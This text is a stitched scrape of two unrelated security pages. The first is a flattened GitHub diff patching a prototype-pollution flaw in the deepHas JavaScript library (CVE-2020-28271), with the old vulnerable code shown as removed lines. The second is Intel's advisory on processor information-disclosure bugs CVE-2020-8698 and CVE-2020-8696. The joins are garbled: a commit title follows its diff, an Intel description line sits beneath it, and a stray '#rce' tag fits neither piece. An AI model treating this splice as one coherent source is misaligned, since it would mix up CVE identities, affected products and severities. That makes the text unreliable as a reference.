} catch(ex) { } catch (ex) { console.error(ex); return; } @@ -49,21 +49,26 @@ function reduce(obj, str) { function add(obj, str, val) { "use strict"; try { if ( typeof str !== "string") { if (typeof str !== "string") { return; } if ( typeof obj !== "object") { if (str.indexOf('\_\_proto\_\_') != \-1) { throw "cannot modify prototype property"; } if (typeof obj !== "object") { return; } if (!val) { return; } var items \= str.split('.'); console.log(str); var initial \= items.slice(0, items.length \- 1); var last \= items.slice(items.length \- 1); var test \= initial.reduce(indexTrue, obj); test\[last\] \= val; } catch(ex) {  
} catch (ex) { console.error(ex); return; } @@ -73,11 +78,11 @@ function has(target, path) { "use strict"; try { var test \= reduce(target, path); if ( typeof test !== "undefined") { if (typeof test !== "undefined") { return true; } return false; } catch(ex) { } catch (ex) { console.error(ex); return; } @@ -87,7 +92,7 @@ function get(target, path) { "use strict"; try { return reduce(target, path); } catch(ex) { } catch (ex) { console.error(ex); return; } @@ -97,7 +102,7 @@ function set(target, path, val) { "use strict"; try { return add(target, path, val); } catch(ex) { } catch (ex) { console.error(ex); return; }

CVE-2020-28271: fix vulnerability reported by whitesource software · sharpred/deepHas@2fe0117

Improper isolation of shared resources in some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.

**Select Your Region**

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**2020.2 IPU - Intel® Processor Advisory**

**Summary: **

Potential security vulnerabilities in some Intel® Processors may allow information disclosure.  Intel is releasing firmware updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID:  CVE-2020-8698

Description: Improper isolation of shared resources in some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.

CVSS Base Score: 5.5 Medium

CVSS Vector:  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVEID: CVE-2020-8696

Description: Improper removal of sensitive information before storage or transfer in some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.

CVSS Base Score: 2.5 Low

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

**Affected Products:**

A list of impacted products can be found here. 

**Recommendations:**

Intel recommends that users of affected Intel® Processors update to the latest version firmware provided by the system manufacturer that addresses these issues. 

Intel has released microcode updates for the affected Intel® Processors that are currently supported on the public github repository. 

On January 25, 2021 Intel has released new microcode updates to mitigate CVE-2020-8696 for Skylake server (50654) and Cascade Lake Server (50656 & 50657) processors. The new microcode update mitigates an issue when using an active JTAG agent like In Target Probe (ITP), Direct Connect Interface (DCI) or a Baseboard Management Controller (BMC) to take the CPU JTAG/TAP out of reset and then returning it to reset.

*   Skylake Server                       02006a0a
*   Cascade Lake Server B-0      04003006
*   Cascade Lake Server B-1       05003006

Please see details below on access to the microcode:  

GitHub\*: Public Github: https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files

To address this issue, an SGX TCB recovery will be required in Q4 2020. Refer to Intel® SGX Attestation Technical Details for more information on the SGX TCB recovery process.

**Acknowledgements:**

The following issues were found internally by Intel employees.  Intel would like to thank Ezra Caltum, Joseph Nuzman, Nir Shildan and Ofir Joseff.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/10/2020

Initial Release

1.1

02/16/2021

Updated Recommendations

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel, processors, chipsets, and desktop boards may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at https://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  
Copyright © Intel Corporation 2022

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

Tag

#rce